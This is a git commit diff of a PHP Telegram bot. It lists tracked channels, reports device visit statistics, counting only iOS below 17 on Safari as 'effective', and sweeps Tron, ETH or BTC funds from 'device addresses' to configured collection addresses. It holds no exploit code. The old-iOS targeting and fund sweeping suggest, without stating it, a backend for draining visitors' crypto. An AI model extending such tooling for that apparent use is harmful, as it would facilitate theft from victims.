feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
+68
View File
@@ -0,0 +1,68 @@
<?php
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Types\Keyboard\CopyTextButton;
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardButton;
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardMarkup;
class ChannelCommand
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot): void
{
$query = Channel::query()->with('user:id,username')->orderByDesc('id');
$agent = $this->context->agent();
if ($agent !== null) {
$query->where('user_id', $agent->id);
}
$channels = $query->limit(30)->get();
if ($channels->isEmpty()) {
$bot->sendMessage('暂无渠道');
return;
}
$lines = ['📎 渠道列表(点按钮复制链接)', ''];
$markup = InlineKeyboardMarkup::make();
foreach ($channels as $i => $channel) {
$remark = trim((string) ($channel->remark ?? ''));
$remarkLabel = $remark !== '' ? $remark : '—';
$owner = $channel->agentLabel();
$status = $channel->isEnabled() ? '启用' : '停用';
$lines[] = ($i + 1).'. '.$channel->channel_id;
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
$links = $channel->supportLinks();
$link = $links[0] ?? ('/web/'.$channel->channel_id.'/support.html');
if (strlen($link) > 256) {
$link = substr($link, 0, 256);
}
$btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : substr($channel->channel_id, 0, 8)).' · 复制链接';
$markup->addRow(InlineKeyboardButton::make(
text: $btnText,
copy_text: CopyTextButton::make($link),
));
}
if ($channels->count() >= 30) {
$lines[] = '';
$lines[] = '(仅显示最近 30 条)';
}
$bot->sendMessage(
implode("\n", $lines),
reply_markup: $markup,
);
}
}
+108
View File
@@ -0,0 +1,108 @@
<?php
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Services\DashboardStatsService;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class DataCommand
{
public function __construct(
private readonly DashboardStatsService $stats,
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, ?string $args = null): void
{
$parts = preg_split('/\s+/', trim((string) $args)) ?: [];
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
$days = null;
$channelId = '';
if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) {
$days = $parts[0];
$channelId = $parts[1] ?? '';
} elseif (isset($parts[0])) {
if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) {
$channelId = $parts[0];
} else {
$bot->sendMessage(
"Usage: /data [1|7|30] [channelId]\n"
."Omit days for today. Omit channelId for all channels."
);
return;
}
}
if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) {
$bot->sendMessage('channelId must be a 32-char hex string.');
return;
}
$channelId = strtolower($channelId);
$agent = $this->context->agent();
if ($agent !== null && $channelId !== '') {
$owned = Channel::query()
->where('user_id', $agent->id)
->where('channel_id', $channelId)
->exists();
if (! $owned) {
$bot->sendMessage('⛔ 无权查看该渠道');
return;
}
}
try {
$range = $this->stats->rangeFromDays($days);
} catch (\InvalidArgumentException $e) {
$bot->sendMessage($e->getMessage());
return;
}
$data = $this->stats->collect([
'range' => $range,
'channel_id' => $channelId,
'channel_exact' => $channelId !== '',
'agent' => $agent,
]);
$lines = [
'📊 访问统计',
'区间: '.$data['from'].' ~ '.$data['to'],
'渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')),
'',
'总设备: '.$data['total'],
'新增设备: '.$data['new_count'],
'活跃设备: '.$data['active_count'],
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS<17 + Safari',
'',
'按系统:',
];
foreach ($data['by_os'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
}
$lines[] = '';
$lines[] = '按 iOS 版本:';
if ($data['by_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_ios_version'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
}
}
$bot->sendMessage(implode("\n", $lines));
}
}
+56
View File
@@ -0,0 +1,56 @@
<?php
namespace App\Telegram\Handlers;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class HelpCommand
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot): void
{
$lines = [
'📖 可用指令(仅指定群管理员)',
'',
'/help',
' 查看本帮助',
'',
'/ping',
' 健康检查',
'',
'/data [1|7|30] [channelId]',
' 查询访问统计(同仪表盘)',
' 天数默认当天;渠道默认全部',
' 例: /data',
' 例: /data 7',
' 例: /data 30 <channelId>',
'',
'/channel',
' 列出渠道:ID、备注、归属;点按钮复制链接',
];
if ($this->context->isOfficial()) {
$lines = array_merge($lines, [
'',
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
' 从设备地址转出到配置收款地址(仅官方)',
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
' 例: /transfer Txxx USDT 10',
' 例: /transfer 0x… ETH',
' 例: /transfer 1… BTC 0.01',
]);
} else {
$lines = array_merge($lines, [
'',
'(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)',
]);
}
$bot->sendMessage(implode("\n", $lines));
}
}
+86 -14
View File
@@ -18,37 +18,55 @@ class TransferCommand
if ($parts === []) {
$bot->sendMessage(
"Usage: /transfer <fromAddress> [TRX|USDT] [amount]\n"
."Omit amount to transfer all. Default asset: USDT.\n"
.'To = TRANSFER_TO_ADDRESS (env).'
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]\n"
."Omit amount to transfer all. Chain is inferred from address.\n"
."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
.'To = per-chain TRANSFER_TO_ADDRESS* (env).'
);
return;
}
$from = $parts[0];
$asset = 'USDT';
$chain = $this->detectChain($from);
if ($chain === null) {
$bot->sendMessage('Unrecognized address. Supported: Tron (T…), ETH (0x…), BTC (1…/3…/bc1…).');
return;
}
$asset = $this->defaultAsset($chain);
$amount = null;
$allowed = $this->assetsForChain($chain);
if (count($parts) === 2) {
$second = strtoupper($parts[1]);
if (in_array($second, ['TRX', 'USDT'], true)) {
if (in_array($second, $allowed, true)) {
$asset = $second;
} elseif ($this->isAmount($parts[1])) {
} elseif ($this->isAmount($parts[1], match ($chain) {
'eth' => 18,
'btc' => 8,
default => 6,
})) {
$amount = $parts[1];
} else {
$bot->sendMessage('Second arg must be TRX, USDT, or an amount.');
$bot->sendMessage('Second arg must be '.implode('|', $allowed).', or an amount.');
return;
}
} elseif (count($parts) >= 3) {
$asset = strtoupper($parts[1]);
if (! in_array($asset, ['TRX', 'USDT'], true)) {
$bot->sendMessage('Asset must be TRX or USDT.');
if (! in_array($asset, $allowed, true)) {
$bot->sendMessage('Asset must be '.implode(' or ', $allowed).' for '.$chain.'.');
return;
}
if (! $this->isAmount($parts[2])) {
$decimals = match ($asset) {
'ETH' => 18,
'BTC' => 8,
default => 6,
};
if (! $this->isAmount($parts[2], $decimals)) {
$bot->sendMessage('Invalid amount.');
return;
@@ -57,9 +75,9 @@ class TransferCommand
}
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
$bot->sendMessage("⏳ Transferring {$label} from {$from} …");
$bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …");
$result = $this->transfers->handle('tron', $from, $amount, $asset);
$result = $this->transfers->handle($chain, $from, $amount, $asset, $this->operatorLabel($bot));
if (! ($result['ok'] ?? false)) {
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
@@ -68,6 +86,7 @@ class TransferCommand
$bot->sendMessage(implode("\n", [
'✅ Transfer submitted',
'Chain: '.$chain,
'From: '.$result['from'],
'To: '.$result['to'],
'Amount: '.$result['amount'].' '.$result['asset'],
@@ -75,8 +94,61 @@ class TransferCommand
]));
}
private function isAmount(string $value): bool
private function detectChain(string $address): ?string
{
return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value);
$address = trim($address);
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return 'tron';
}
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
return 'eth';
}
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) {
return 'btc';
}
if (preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) {
return 'btc';
}
return null;
}
private function defaultAsset(string $chain): string
{
return match ($chain) {
'eth' => 'ETH',
'btc' => 'BTC',
default => 'USDT',
};
}
/** @return list<string> */
private function assetsForChain(string $chain): array
{
return match ($chain) {
'eth' => ['ETH', 'USDT'],
'btc' => ['BTC'],
default => ['TRX', 'USDT'],
};
}
private function isAmount(string $value, int $decimals = 6): bool
{
return (bool) preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $value);
}
private function operatorLabel(Nutgram $bot): string
{
$user = $bot->user();
$id = $user?->id ?? $bot->userId();
$username = $user?->username;
if ($username) {
return "telegram:{$id}@{$username}";
}
$name = trim((string) ($user?->first_name ?? ''));
return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}";
}
}